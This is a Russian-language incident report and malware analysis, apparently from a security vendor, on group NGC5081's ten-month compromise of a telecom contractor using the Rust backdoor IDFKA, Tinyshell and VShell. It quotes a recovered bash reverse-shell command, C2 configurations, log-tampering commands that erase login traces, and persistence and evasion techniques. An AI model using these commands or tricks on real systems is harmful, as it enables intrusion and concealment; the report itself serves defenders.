

NGC5081 атакует телеком с помощью продвинутого бэкдора IDFKA

В конце мая 2025 года эксперты [Solar 4RAYS](#) подключились к расследованию инцидента в телекоммуникационной компании, который начался с оповещения [Solar JSOC](#) о выполнении `bash`-команд посредством БД PostgreSQL в одном из внутренних контуров инфраструктуры. Поиск источника активности привел нас к подрядчику этой организации — ИТ-компании, которая администрировала эту базу данных. В сети подрядчика мы обнаружили минимум две группировки атакующих, одна из которых (мы назвали ее NGC5081) использовала ранее неизвестный бэкдор на языке Rust, который мы назвали IDFKA.

С помощью этого бэкдора атакующие в течение 10 месяцев сохраняли доступ к ИТ-инфраструктуре подрядчика, а также получили доступ к базам компаний-клиентов, где хранилась информация об абонентах и метаданные об их звонках. Однако свидетельств, что какие-либо из этих данных были похищены, мы не обнаружили. Хотя поведение группировки указывает, что целью атаки являлся шпионаж, остается неизвестным, что именно атакующие искали в инфраструктуре организаций.

Ключевые тезисы:

- Атакующие находились в сети подрядчика не менее 10 месяцев и проникали в инфраструктуру клиентов, используя легитимный доступ к БД PostgreSQL.
- Атакующие использовали стандартный `Tinyshell` и оригинальный бэкдор IDFKA на Rust для заражения Linux-систем.
- Атакующие мимикрировали под процессы и установленное легитимное ПО в системах, а также под подрядчиков жертвы в C2.
- Атакующие удаляли следы своей активности в системах и вручную подменяли артефакты.
- Основная нагрузка бэкдора IDFKA зашифрована, для расшифровки используется переменная окружения, алгоритм шифрования AES-ECB и генерация промежуточных ключей в процессе.
- Функциональность бэкдора IDFKA:
 - `reverse shell`;
 - модуль сканирования портов `portscan`, определение основных сервисов;
 - брутфорс SSH;
 - модуль `password capture`, реализуемый с помощью `ptrace` / `eBPF`;
 - разнообразие каналов C2. Режимы работы TCP/UDP, ICMP (`raw/libpcap`), HTTP, FutureProtocol (`protocol=204`), `magictcp`, `port-knock`, `spooftcp`;
 - Signaling Files. Возможность управления через специальные файлы.
- Мы выявили паттерн взаимодействия IDFKA с управляющими серверами, который позволил обнаружить ранее неизвестные управляющие серверы.
- Конфигурация в бэкдоре может храниться в произвольном месте файла, найти ее можно по 16-байтовой сигнатуре, удовлетворяющей определенным условиям.
- Данных, позволяющих атрибутировать кампанию какой-либо из известных группировок, пока недостаточно, поэтому ей присвоено обозначение NGC5081.

Описание инцидента

В этом инциденте нам удалось обнаружить множественную компрометацию подрядчика — компании в сфере ИТ-услуг — и провести расследование у двух ее клиентов. Для удобства восприятия информации цепочка заражения будет изложена в хронологической последовательности начиная с компрометации подрядчика. Общий таймлайн атаки представлен на рисунке ниже.



IDFKA

Наиболее ранний обнаруженный нами образец IDFKA был размещен в инфраструктуре подрядчика в ноябре 2024 года. Все сэмплы были написаны на языке Rust и располагались в стандартных директориях исполняемых файлов для Linux. Атакующие не закрепляли бэкдор — это было возможно благодаря тому, что системы не перезагружались несколько лет. В некоторых системах мы обнаружили только незапущенные файлы IDFKA. Почти все сэмплы имели уникальные названия и параметры запуска процесса.

Командная строка	Файл
php-fqm: pool zabbix	/usr/sbin/php-fqm:
postgres: reader process	/usr/sbin/postgres:
nginx: worker process	/usr/sbin/ntpqd /usr/sbin/nginx:
irgbalance --foreground	/usr/sbin/irgbalance
-	/usr/sbin/readname
-	/usr/sbin/hald-worker
-	/usr/sbin/.irgbalance

В переменных окружения аномальных процессов — тогда мы еще не знали, что это за вредонос, — мы обнаружили интересные параметры.

- TRM64CFG=R:9o,Bgk:1l,Cd:5 — кастомная переменная, которая использовалась для расшифровки импланта. Имела одно значение на всех скомпрометированных системах.
- HISTFILE=0 — переменная, устанавливающая размер `bash_history` в 0. Используется для скрытия команд.
- PSQL_HISTORY=/dev/null — переменная, исключающая логирование запросов в консоли `psql`.
- PWD — текущая директория процесса. Если это переменная содержит заведомо подозрительный путь, например `/tmp`, `/var/www` или `/dev/shm`, возможно, процесс вредоносный.
- OLDPWD — предыдущая рабочая директория, из которой был запущен процесс.
- SUDO_USER — пользователь, запустивший процесс через команду `sudo`. В текущем инциденте это был пользователь `postgres`, обладавший излишними правами.
- SSH_CONNECTION — переменная, содержащая адрес SSH-клиента, порт SSH-клиента, IP-адрес сервера (текущей системы), порт SSH-службы сервера.
- SSH_CLIENT — переменная, содержащая исторический адрес SSH-клиента и порт SSH-клиента.
- _= — переменная, указывающая на полный путь первой команды при запуске процесса. Если исполняемый файл был запущен непосредственно, в переменной будет находиться полный путь к самому файлу. Если файл был запущен через лаунчер, `po4nup` или `screen`, в переменной будет путь к лаунчеру.

Отметим, что указанные переменные окружения, помимо специфической для импланта переменной `TRM64CFG`, можно использовать для детектирования возможной вредоносной активности.

В исследованных нами системах логи к моменту расследования частично ротировались, а там, где имелись за указанный период, не содержали значимых данных. Журналы `wtmtr` и `lastlog` также были модифицированы атакующими, которые удалили оттуда источники своих входов. Однако из переменных `SSH_CLIENT` и `SSH_CONNECTION` мы смогли получить IP-адреса клиентов, которые подключались к зараженным системам, благодаря чему мы расширили перечень приоритетных систем для анализа. Адреса клиентов во всех случаях принадлежали другим внутренним системам. В полученных системах мы также нашли бэкдор `IDFKA` с переменными окружения `SSH_CLIENT` и `SSH_CONNECTION`. В результате у нас получилось восстановить цепочку подключений и частично восстановить последовательность заражения систем. В нашем случае переменные указывали на исторические SSH-подключения.

Также в ноябре 2024 года, через несколько дней после размещения `IDFKA` у подрядчика, атакующие скомпрометировали PostgreSQL-кластер клиента подрядчика — компанию А, оказывающую услуги в сфере телекоммуникаций. Установить дату компрометации удалось посредством нахождения команды реверс-шелла в файлах бэкапа PostgreSQL.

```
o-rw-r--r-- 1 postgres postgres 56 Nov XX 16:44 /tmp/.g
/bin/bash -c "/bin/bash -i >& /dev/tcp/10.XXX.XX.XX/5439 0>&1"
!hostname-db1
```

IP-адрес из реверс-шелла принадлежал внутренней системе подрядчика.

Tinyshell

Помимо `IDFKA`, мы обнаружили в системах бэкдор `Tinyshell`. Несмотря на то, что в инфраструктуре подрядчика мы обнаружили следы деятельности еще одной группировки (о которой расскажем позже), мы относим эти два бэкдора к активности `NGC5081`, потому что один сэмпл `TinyShell` и один сэмпл `IDFKA` использовали один и тот же C2.

В нескольких системах Tinyshell был добавлен атакующими в скрипт системы инициализации SysVinit /etc/rc.d/rc.local. Данный файл используется для запуска служб, демонов и других команд, которые не имеют собственных скриптов в каталоге /etc/init.d.

В одной из систем подрядчика закрепление было выполнено более скрытно. В марте 2025 года атакующие скомпрометировали систему, в которой было установлено ПО GitLab с домашней директорией /opt/gitlab/.

Вредоносный файл был размещен по пути /opt/gitlab/bin/gitlab-kas с закреплением через легитимный скрипт /opt/gitlab/embedded/bin/runsvdir-start. При этом в дистрибутиве GitLab имеется легитимный файл с тем же именем, но по пути /opt/gitlab/embedded/bin/gitlab-kas. Атакующие добавили в середину скрипта runsvdir-start запуск файла только по его имени gitlab-kas. При этом в скрипте была переопределена переменная PATH со значением

`PATH=/opt/gitlab/bin:/opt/gitlab/embedded/bin:/usr/local/bin:/usr/local/sbin:/bin:/sbin:/usr/bin:/usr/sbin`, где директория /opt/gitlab/bin/ более приоритетна, чем /opt/gitlab/embedded/bin/, в результате чего при старте сервиса GitLab запускался вредоносный файл вместо легитимного.

В апреле 2025 года атакующие получили доступ к кластеру PostgreSQL компании Б с учетными данными postgres. Атакующие проверяли доступ к внешним и внутренним ресурсам, загружали вредоносные файлы и пытались их запускать, при этом удаляли файлы после своей работы, не создавая закреплений. Один из загруженных файлов был детектирован антивирусом. Так удалось установить, что это также бэкдор Tinyshell. В качестве C2-бэкдора использовался домен, имитирующий под провайдера компании Б, а поддоменом выступало название сегмента сети, в котором находился кластер БД.

VShell

В части систем подрядчика, наряду с Tinyshell, мы обнаружили подозрительные процессы, которые имитировали под потоки ядра. Во всех исследованных системах название процесса [kworker/0:2] было одинаковым, и он был запущен из файла /memfd:a. У вредоносных процессов существовали дочерние процессы шеллов, в том числе из файлов /tmp/bash, где файл являлся копией легитимного /bin/bash.

Ниже представлено дерево процессов VShell с одной из систем.

```
root 1254164 0.0 0.0 718416 10888 ? S1 Apr08 37:56 [kworker/0:2]
root 2528649 0.0 0.0 16312 8 pts/2 Ss+ Apr09 0:00 \_ /tmp/bash
root 240469 0.0 0.0 16312 236 pts/0 Ss+ Apr09 0:00 \_ /tmp/bash
root 649643 0.0 0.0 16312 164 pts/1 Ss Apr15 0:00 \_ /bin/bash
root 649704 0.0 0.0 45880 40 pts/1 S+ Apr15 0:00 \_ ssh user@172.XX.XX.XX
root 636030 0.0 0.0 717904 9380 ? S1 Jun08 2:51 [kworker/0:2]
```

По артефактам мы обнаружили [статью](#) об азиатской группировке UNC5174, которую мы называем Snowy Mogwai. Она использовала VShell с такой же мимикрией, какую мы видели в нашем расследовании. Отметим, что первоначальный доступ группировка получает в результате атак на публично доступные сервисы.

Процессы VShell содержали значимые переменные окружения:

- SSH_CLIENT, SSH_CONNECTION — IP-адреса SSH-клиентов. В нашем случае эти подключения были завершены на момент исследования.
- HISTFILE — путь /tmp/.del для всех процессов VShell, при этом файл по такому пути отсутствовал в системах.
- CWD — кастомная переменная загрузчика SNOWLIGHT, содержащая путь к вредоносному файлу.

Загрузчик SNOWLIGHT загружает VShell с C2, устанавливает переменную окружения CWD и запускает файл через fexecve с отображаемыми параметрами запуска "[kworker/0:2]". Обнаруженные нами загрузчики располагались по следующим путям:

- /usr/bin/c8ecb103tcp
- /usr/bin/b6271952tcp
- /usr/bin/cdd407ebtcp
- /usr/bin/f15102d2tcp
- /tmp/f15102d2tcp
- /tmp/PGSQL1
- /tmp/tt/t
- /home/[redacted]/rdl
- /tmp/.ICE-unix/ivr

Из сэмплов мы извлекли следующие уникальные конфигурации:

```

{
  "server": "45.67.230[.]39:8888",
  "type": "tcp",
  "vkey": "qwe123qweasdasf",
  "proxy": "",
  "salt": "qwe123qwesfgasdd",
  "l": false,
  "e": false,
  "d": 30,
  "h": 10
}

{
  "server": "45.144.31[.]54:60998",
  "type": "tcp",
  "vkey": "wrnmsbjappan",
  "proxy": "",
  "salt": "wrnmsbjappan",
  "l": false,
  "e": false,
  "d": 30,
  "h": 10
}

{
  "server": "94.131.121[.]10:10250",
  "type": "tcp",
  "vkey": "<redacted>",
  "proxy": "",
  "salt": "<redacted>",
  "l": false,
  "e": false,
  "d": 30,
  "h": 10
}

{
  "server": "0.0.0.0:10052",
  "type": "tcp",
  "vkey": "<redacted>",
  "proxy": "",
  "salt": "<redacted>",
  "l": true,
  "e": false,
  "d": 30,
  "h": 10
}

{
  "server": "0.0.0.0:2379",
  "type": "tcp",
  "vkey": "<redacted>",
  "proxy": "",
  "salt": "<redacted>",
  "l": true,
  "e": false,
  "d": 30,
  "h": 10
}

```

В истории команд различных учетных записей и в логах различного ПО мы обнаружили следы загрузки файлов с внешних IP-адресов по пути `/slt`. Загрузка скрипта установки бэкдора при обращении к этому эндпоинту описана в [другой статье](#) о VShell.

Все артефакты, связанные с бэкдором VShell, были созданы не ранее апреля 2025 года.

Аномалии артефактов

В некоторых исследованных системах мы не нашли вредоносных файлов, но нашли аномалии, свидетельствующие об исторической вредоносной активности. Атакующие оставили в директории `/tmp` копию файла `/var/log/wtmp`, сделанную в период вредоносной активности в ноябре 2024 года, а также бэкапы `known_hosts` отдельных учетных записей. Кроме того, в файле `known_hosts` мы видели несколько отпечатков SSH для одного IP-адреса, что может свидетельствовать об использовании SSH-туннелей.

В артефакте `.viminfo` мы нашли исходные команды атакующих:

```
sed -i \"165.231.141.126/d\" /var/log/auth.log
lastlog -C -u root
utmpdump /var/log/wtmp | grep -v root | utmpdump -r > /tmp/.f
mv /tmp/.f /var/log/wtmp
lastlog
```

Атакующие удалили строки со своим внешним IP-адресом из auth.log, удалили адрес последнего входа root из lastlog, получили строки wtmp, где нет строки root, и перезаписали содержимое /var/log/wtmp. Заметим, в событиях завершения сессии не содержится строки с названием учетной записи, поэтому они остались в wtmp. На основании таких «рваных» сессий мы определили, что вредоносная активность началась не позднее сентября 2024 года, ранее размещения вредоносных файлов, доступных на момент исследования. При этом мы предполагаем, что компрометация инфраструктуры произошла до этого, но более ранние артефакты на момент исследования были утрачены. Таким образом, NGC5081 находились в системе подрядчика не менее 10 месяцев.

Подведем промежуточный итог: в инфраструктуре подрядчика мы обнаружили следы группировок NGC5081 и Snowy Mogwai. NGC5081 присутствовали в сети подрядчика как минимум с сентября 2024 года. Используя легитимные доступы, они скомпрометировали кластеры баз данных минимум двух компаний, оказывающих услуги в сфере телекоммуникаций. Активность Snowy Mogwai зафиксирована с апреля 2025 года. Получив данные с скомпрометированных систем, обе группировки завладели полным доступом к инфраструктуре. Мы предполагаем, что атакующие действовали параллельно и не связаны между собой, потому что:

- сетевая инфраструктура VShell не пересекается с сетевой инфраструктурой IDFGA и Tinyshell
- для VShell и IDFGA использовались разные техники мимикрии
- часть систем была заражена только Vshell

Далее детально разберем механизм работы бэкдора IDFGA.

Технический анализ

Образец представляет собой многофункциональный бэкдор с кастомной схемой упаковки секций и многослойной процедурой декодирования: начальный 16-байтовый ключ берется из переменной окружения **TRM64CFG**, затем над ним производится серия преобразований и тяжелых трансформаций большой таблицы промежуточных значений, по итогам которых формируется пара AES-ключей для двойного AES-ECB-расшифрования секций. После расшифрования запускается Rust-рантайм: форкинг/демонизация, многопоточность. Также можно отметить множество режимов связи с C2 — от TCP/UDP до редко используемого ICMP (через raw-сокеты или libpcap), а также режимы вроде port-knock, magictcp и других.

Упаковщик

Содержимое бинарного файла упаковано (зашифрованы секции). При просмотре функции start видно следующее:

Структура функции main

Функция распаковки вызывается с аргументом sections_arg, который представляет собой массив с описанием структур зашифрованных секций. Конец массива обозначается как QWORD, заполненный нулями. Структура секции выглядит следующим образом:

```
struct MalwareSection {
    offset_start: u64,
    len: u64,
    protection: u64,
}
```

В обнаруженных нами сэмплах всегда присутствовало 3 секции, например:

```
MalwareSection(0x31000, 0xc000, 0x5) # READ|WRITE
MalwareSection(0x40000, 0x1f9000, 0x5) # READ|WRITE
MalwareSection(0x23a000, 0xa6000, 0x3) # READ|EXECUTE
```

В начале функции происходит довольно стандартная, но не менее интересная с точки зрения реализации процедура: поиск imagebase исполняемого ELF-файла.

Сначала стандартно определяется адрес следующей инструкции с помощью инструкции **call \$+5**. После этого полученный адрес округляется до страницы.

Процесс поиска imagebase

Далее начинается интересное: для определения доступности страницы используется системный вызов `access` с адресом страницы в `pathname`, а также 0 в `mode`. Если страница недоступна, она пропускается. Поиск сигнатуры ELF происходит в начале страницы, что довольно логично.

Функция `access` в Linux обычно проверяет права доступа к файлам по их пути. Однако здесь ее используют нестандартным образом: вместо строки с путем в аргумент `pathname` передают адрес страницы памяти.

Поскольку системный вызов ожидает корректный указатель на строку, обращение к невалидной области памяти приводит к ошибке. Этим и пользуются злоумышленники: так программа «прощупывает», доступна ли страница для чтения.

Если `access()` возвращает `ENOENT` («файл не найден»), это означает, что системный вызов смог прочитать переданный адрес как строку до первого нулевого байта. Значит, страница валидна и присутствует в памяти.

Если же вызов завершается другой ошибкой (например, `EFAULT`), доступ к указанной области памяти невозможен, страница недоступна.

Таким образом, `access()` используется как безопасный способ проверить доступность страницы памяти, не вызывая сегфолта.

После нахождения `imagebase` осуществляется декодирование имени переменной окружения (`TRM64CFG`). Она будет в дальнейшем использоваться для инициализации ключей шифрования.

Начало расшифровки строки `TRM64CFG=`

Во всех известных нам сэмплах значение этой переменной окружения было следующим:

`R:90,Bgk:11,Cd:5`

`TRM64CFG` является первоначальным ключом (16 байт), без него невозможно расшифровать секции. Функция `keyexpansion` занимается расширением ключа и генерацией раундовых ключей.

Функция `keyexpansion` вызывается в функции распаковки перед началом непосредственного выведения ключа. Сначала происходит инициализация алгоритма шифрования AES в режиме ECB со значением переменной `TRM64CFG` в качестве начального ключа. Далее начинается процесс генерации ключей.

В первой итерации цикла происходит вызов функции `aes_decrypt` для значения переменной `TRM64CFG` (обозначим его `aes_decrypt(n)`). Во всех последующих итерациях `aes_decrypt` вызывается над предыдущим значением цикла ($f(n+1) = \text{aes_decrypt}(n)$). Таким образом, формируется большая таблица таких промежуточных значений.

Цикл с генерацией промежуточных ключей

Затем попадаем в не менее монструозный цикл. В нем происходит модификация полученной таблицы. Модификация происходит по 16 байт (построчно), модифицируется вся таблица, это происходит два раза (всего имеем $2 * 0x4000 * 0x4000 * \text{num_ops}(\text{aes_decrypt})$ итераций в данном цикле, он довольно тяжелый и выполняется в районе нескольких секунд самим сэмплом).

Процесс модификации таблицы

После инициализации таблицы берется два верхних ее значения по 16 байт, для нашего `TRM64CFG` это (одинаковы для всех сэмплов из раздела IOC):

```
K1 = bca8514498d22a089896b510f2ab5e90
K2 = 3c346853ae02e5827e95cc6d6cc3cc6b
```

Происходит инициализация двух инстансов AES в режиме ECB с каждым из ключей, затем происходит расшифровка секций. Расшифровка происходит сначала алгоритмом со вторым ключом, а затем с первым, по 16 байт.

Процесс расшифровки основной нагрузки

Основная нагрузка

Нагрузка представляет собой комплексный бэкдор, способный работать со множеством протоколов, а также имеет следующую функциональность:

- Reverse Shell. При возможности создается интерактивный шелл.
- Модуль `portscan`. Позволяет сканировать инфраструктуру жертвы и определять поднятые сервисы. Также поддерживается брутфорс SSH.
- Модуль `password snooper / password capture`, способный доставать `credentials` из памяти процессов. Осуществляется с помощью `eBPF` или `ptrace`. `eBPF` позволяет также скрывать процесс.
- Pivoting. Поддерживается многими режимами работы вредноса.

- Модуль eBPF (отсутствовал в исследуемых образцах). Необходим для работы функции hide-process, а также для работы модуля password capture (если выбран не ptrace).

Инициализация и конфигурация

После «распаковки» основной нагрузки попадаем в реальную точку входа. Внутри этой функции происходит запуск потока, который и будет основным для вредоноса.

В начале потока происходит вызов функции, которая инициализирует AES-ECB с ключом, хранящимся как глобальная переменная.

Инициализация AES

В нашем случае этот ключ имел значение 7A 29 43 08 E7 1C 74 E7 DD D1 D8 A2 5A B6 4E 3C.

После инициализации AES-сэмпл инициализирует локальную переменную со значением 0xBC и помещает его в регистр bpl. Оно нам понадобится далее.

По умолчанию большинство сэмплов работали в режиме прослушивания ICMP-трафика, воркер запускается в отдельном процессе. Протокол ICMP — один из возможных каналов C2, через которые может производиться управление имплантом.

В сэмпле присутствуют признаки использования крейта clarp, предназначенного для удобной обработки аргументов командной строки, однако в режиме работы по умолчанию поток исполнения не доходит до обработки этой функции. Это обуславливается тем, что сэмпл умеет проверять наличие внутри самого себя заранее сохраненной конфигурации (также умеет и сохранять новую конфигурацию, в этом случае осуществляется просто загрузка заранее заданной конфигурации), это осуществляется через поиск специальной сигнатуры. Опишем этот алгоритм.

Сначала сэмпл, как обычно, пытается обнаружить свой imagebase через уже знакомый «трюк» с помощью системного вызова access. После него следует цикл, который состоит из двух частей. Первая часть — инициализация, в ней задаются две переменные в регистрах r14 и r15 соответственно. Так их и обозначим у себя в уме.

Инициализация переменных цикла

Затем происходит сам цикл. Начиная с imagebase сэмпл берет из своего адресного пространства по 16 байт до тех пор, пока не наткнется на «недоступную» страницу.

Цикл поиска сигнатуры

```
a1 = load_qword(addr) # первые 8 байт
a2 = load_qword(addr + 8) # вторые 8 байт
r14 = 0x5DF3136F77AF4700 # первый ключ
r15 = 0x378E5D8765F5AC61 # второй ключ
res = ( a1 ^ (k1 | 0xbc) ) | (a2 ^ k2) # здесь вспоминаем про локальную переменную 0xBC
If res == 0:
    unpack_config(addr+16)
```

То есть результат XOR первого ключа с первыми 8 байтами с поправкой на локальную переменную 0xBC должен быть равен результату XOR второго ключа со вторыми 8 байтами в рамках рассматриваемых 16 байт (сложно, правда?).

Когда конфиг найден, происходит его расшифровка с помощью ранее инициализированного AES-ECB по 16 байт, как и в случае с «распаковкой» основной нагрузки.

Так как в нашем распоряжении было четыре различных варианта данного бэкдора, мы сравнили используемые версии Rust, а также размеры имеющихся сэмплов:

Имя файла	SHA256	Версия	Размер
php-fqm	0e91d50da1d39d505b3bbec3c759d1fde6e51373c10900b68a45849b073d2684	1.83.0-nightly	3.5M
hald-worker	6d745834032d55e804e2a423529d9f663254ea07185eb96f2f5f089941668b7c	1.83.0-nightly	3.5M
rpcbalance	e3b0c44298fc1c149afb4c8996fb92427ae41e4649b934ca495991b7852b855	1.88.0-nightly	3.8M
ntpqd	d3c25ee081761c600669597c6ad4effd02f2a5d1171af267b04b572698554d2e	1.88.0-nightly	3.8M

Изначально мы предполагали, что сэмплы php-fgm и hald-worker, а также grpcbalance и ntpqd соответственно являются двумя версиями бэкдора, в которых была изменена лишь конфигурация. С помощью простого diff удалось определить, что сэмплы php-fgm и hald-worker были скомпилированы отдельно, так как они довольно сильно между собой отличались. А сэмплы grpcbalance и ntpqd отличались лишь байтами конфигурации (т. е. злоумышленники переиспользовали один и тот же сэмпл, подменяя в них лишь конфигурацию. Притом конфигурация менялась в «запакованных» сэмплах).

Сравнение ntpqd и grpcbalance

Стоит обратить внимание также на то, что в блоке «конфигурации» совпадают также и первые 16 байт (BC 47 AF 77 6F 13 F3 5D 61 AC F5 65 87 5D 8E 37). Это и есть та самая «сигнатура», которая соответствует заранее определенному выражению и поиск которой осуществляется в адресном пространстве сэмпла. Попробуем это проверить в интерпретаторе python:

```
>>> a1 = int.from_bytes(bytes.fromhex("BC 47 AF 77 6F 13 F3 5D"), "little") # первые 8 байт «сигнатуры»
>>> a2 = int.from_bytes(bytes.fromhex("61 AC F5 65 87 5D 8E 37"), "little") # вторая часть «сигнатуры»
>>> k1 = 0x5DF3136F77AF4700 # первый ключ
>>> k2 = 0x378E5D8765F5AC61 # второй ключ
>>> hex(( a1 ^ (k1 | 0xbc) ) | (a2 ^ k2))
'0x0' # равенство удовлетворено, это действительно конфиг!
```

Такой способ проверки наличия заданной конфигурации говорит об изобретательности злоумышленников.

После расшифровки конфигурация выглядит следующим образом:

Расшифрованная конфигурация (Active TCP Mode)

Как можно видеть, конфигурация имеет фиксированный размер 256 байт. Значения, которые не используются, заполняются далее номером текущего байта последовательно. «idfka» — это magic, за которым следует сама конфигурация. У нас есть два варианта происхождения этого magic:

- «Протестное» сленговое высказывание в английском языке (I don't f***ing know anymore), также это может быть отсылкой к песне исполнителя COBRAH.
- Чит-код IDKFA из легендарной игры Doom, намеренно написанный с опечаткой. Данный чит-код позволял игроку получить все оружие, боеприпасы и ключи. По аналогии с этим бэкдор действительно предоставляет игроку «все ресурсы» зараженного хоста.

Цикл с поиском сигнатуры можно пропатчить, чтобы «включить» обработку аргументов командной строки. Также можно заполнить сигнатуру конфигурации нулями, тогда сэмпл также будет обрабатывать аргументы командной строки.

При включенной обработке командной строки в сэмпле можно использовать флаг «--store-arguments», предназначенный для сохранения текущих аргументов в бинаре (сэмпл попытается найти место, куда можно записать конфигурацию. Также возможны ситуации, когда сэмпл не сможет этого сделать). При последующих запусках без аргументов бинарь будет декодировать эти значения и использовать при инициализации режимов работы.

Полезный совет для вирусных аналитиков:

Обнаружить конфигурацию в распакованном виде можно по использованию строки «idfka» в дизассемблированном листинге. Именно в этом месте кода происходит проверка magic в расшифрованной конфигурации:

Участок кода с проверкой magic

Главный цикл

Главный цикл работы происходит обычно как минимум в двух потоках. В случае с режимами tcp/udp для обработки соединения создается также и третий поток.

Первый поток представляет собой главный цикл, в котором происходит инициализация параметров, обработка аргументов командной строки. Во втором потоке происходит мониторинг и инициализация имен файлов.

Сначала в директории /tmp/ создается файл с именем .9673816931. Его наличие проверяется при первичном запуске бэкдора. Если файл уже создан, бэкдор завершает свою работу. Данный файл предназначен для предотвращения запуска сразу двух экземпляров бэкдора на одной машине (своего рода lock file, мьютекс).

Также в сэмпле фигурируют названия следующих файлов:

```
/tmp/.l5811020
/tmp/.l5811021
/tmp/.l5811022
/tmp/.l5811023
/tmp/.l5811024
/tmp/.l5811025
/tmp/.l5811026
/tmp/.l5811027
```

Внутренне эти файлы называются Signaling Files, а процесс взаимодействия с ними — Emergency Communication.

Файлы, оканчивающиеся на четное число, предназначены для ввода каких-либо значений. Нечетные файлы — для вывода. Второй цикл постоянно проверяет их наличие в папке /tmp/. Предназначение этих файлов следующее:

Вход	Выход	Комментарий
/tmp/.l5811020	/tmp/.l5811021	*21 содержит PID родительского процесса вредоноса
/tmp/.l5811022	/tmp/.l5811023	Команда экстренного завершения работы бэкдора. В файл *23 выводится строка «terminated»
/tmp/.l5811024	/tmp/.l5811025	Исполнение команды, которая находится внутри файла *24. В *25 выводится результат команды
/tmp/.l5811026	/tmp/.l5811027	При наличии файла *26 выводится лог последней операции

Особенно интересны файлы *24 и *26. Проверить факт выполнения команды довольно просто, для теста мы создали файл *24 с содержимым uname -r. В файле *25 был результат выполнения этой команды:

```
root@ubuntu:/tmp# cat /tmp/.l5811025
6.14.0-29-generic
```

Если после этого создать файл *26 с помощью touch, получим следующий вывод:

```
root@ubuntu:/tmp# cat .l5811027
2025/10/07 19:50:32 : Emergency communication: command: uname -r
2025/10/07 19:51:57 : (-:/Jv02cjYt/p3NItnufwMkNdwJfCDxapXrn+4a0Pp8Gjv04Jy0SPpCtKdK7548nse
```

В выводе чаще всего присутствуют закодированные строки, которые начинаются с “(-:”. Закодированная строка меняется в зависимости от текущего этапа и модуля, в котором производилось логирование. При этом в самом сэмпле нет кода, отвечающего за декодирование данной строки. Вероятно, это сделано в целях обфускации логов, чтобы их могли прочитать только операторы. Примечательно, что мы наблюдали сэмплы, в которых в файле *27 всегда выводились только закодированные строки. Также были сэмплы, в которых закодированные строки были перемешаны с незакодированными. Отсюда можно сделать предположение, что, вероятно, эти строки кодируют и шифруют в процессе разработки вручную, хотя можно было сделать процесс кодирования в процессе компиляции. Язык Rust позволяет реализовать подобное.

Также в сэмплах присутствуют элементы «логгера», который способен генерировать информационные строки в случае ошибки, однако в дальнейшем эти строки никак не используются (вероятно, в сэмплах может присутствовать режим, при котором эти строки будут куда-то записываться или выводиться). Пример информационной строки:

Лог-строки

Обфускация строк

Строки в сэмпле обфусцированы образом, похожим на то, как это происходит в garble.

Garble — это популярный инструмент для обфускации Go-программ (open-source). Его цель — затруднить реверс-инжиниринг и извлечение исходной структуры программы из скомпилированного бинаря. Не имеет отношения к текущему сэмплу. Авторы лишь выделяют сходство в реализации обфускации строк.

Расшифровка строки

Паттерн следующий: достается строка с помощью mov-инструкций (или подгружаются xmm-регистры), инициализируется значение сдвига ключа. В каждой итерации побайтово происходит XOR ключа со строкой, а затем к ключу добавляется заданное значение и происходит переход к следующей итерации.

Командная строка и режимы работы

Если затереть в сэмпле сигнатурные байты конфига, он не сможет в рантайме отыскать конфигурацию и поэтому начинает обрабатывать введенные при запуске сэмпла аргументы.

Таким образом выглядит `-help` для сэмплов с версией Rust 1.83.0-nightly:

Usage: php-fqm

Commands:

server	[aliases: s]
server-udp	[aliases: su]
server-connectback	[aliases: sc]
server-connectback-udp	[aliases: scu]
server-icmp	[aliases: si]
server-future	[aliases: sf]
server-magictcp	[aliases: sm]
server-knock	[aliases: sk]
server-knock-connectback	[aliases: skc]
server-spooftcp	[aliases: sst]
server-http	[aliases: sh]
help	Print this message or the help of the given subcommand(s)

Options:

`-h, --help` Print help

В версии, скомпилированной с помощью Rust 1.88.0-nightly, этот help выглядит уже следующим образом:

Usage: ntpqd <COMMAND>

Commands:

backend-tcp	[aliases: it]
backend-udp	[aliases: iu]
backend-connectback	[aliases: ic]
backend-connectback-tls	[aliases: ict]
backend-connectback-udp	[aliases: icu]
backend-icmp	[aliases: ii]
backend-future	[aliases: if]
backend-magictcp	[aliases: im]
backend-knock	[aliases: ik]
backend-knock-connectback	[aliases: ikc]
backend-spooftcp	[aliases: ist]
backend-http	[aliases: ih]
help	Print this message or the help of the given subcommand(s)

Options:

`-h, --help` Print help

Можно заметить различия между версиями как по именам команд, так и по наличию нового режима работы `backend-connectback-tls`.

Также для каждого режима работы есть и дополнительные аргументы:

`--hide-process`

`--store-arguments`

`--double-fork`

`--argv0 <ARGV0>`

`--no-mutex`

Далее приведем краткую справку по каждому из дополнительных аргументов.

Аргумент	Комментарий
hide-process	Скрытие процесса. Необходим модуль eBPF. Во всех обнаруженных нами сэмплах данный модуль отсутствовал
store-arguments	Сохранить текущие аргументы в виде конфигурации внутри сэмпла (см. «Инициализация и конфигурация»

double-fork	Работа в режиме демона через двойной форк. Классический метод
argv0	Подмена argv0 для отображения имени, отличного от названия файла сэмпла
no-mutex	Не создавать lock-file (/tmp/.9673816931)

Также можно выделить и сами режимы работы:

Команда	Комментарий	Аргументы
backend	Listen с использованием протокола TCP. Получает команды с внешнего хоста	LISTEN_PORT — порт; INTERFACE — по умолчанию 0.0.0.0
backend-udp	Пассивный режим с использованием протокола UDP	LISTEN_PORT, INTERFACE
backend-connectback	Активный режим. Подключается к серверу по протоколу TCP	CONNECTBACK_IP, CONNECTBACK_PORT, CONNECTBACK_INTERVAL_MINUTES
backend-connectback-tls	Активный режим с использованием TLS	CONNECTBACK_IP, CONNECTBACK_PORT, CONNECTBACK_INTERVAL_MINUTES
backend-connectback-udp	Активный режим с использованием UDP	CONNECTBACK_IP, CONNECTBACK_PORT, CONNECTBACK_INTERVAL_MINUTES
backend-icmp	Режим с использованием ICMP	METHOD — raw, pcap; PCAP_DEVICE — для метода pcap
backend-future	Используется кастомный протокол, который авторы называют FutureProtocol. Является надстройкой для IP и работает через RAW-сокеты. Фильтр по полю protocol = 204 (в IANA reserved)	METHOD — raw, pcap; PCAP_DEVICE
backend-magictcp	Работа через RAW сокет, прослушивается TCP. То, что пакет предназначен сэмплу, определяется по наличию «магического» порта в пакете	MAGIC_PORT; METHOD — raw, pcap; PCAP_DEVICE
backend-knock	«Слушает» определенный порт, к которому можно подключиться, если «постучаться» на три специально заданных порта	LISTEN_PORT; KNOCK_PORT_1; KNOCK_PORT_2; KNOCK_PORT_3; METHOD (raw, pcap); PCAP_DEVICE
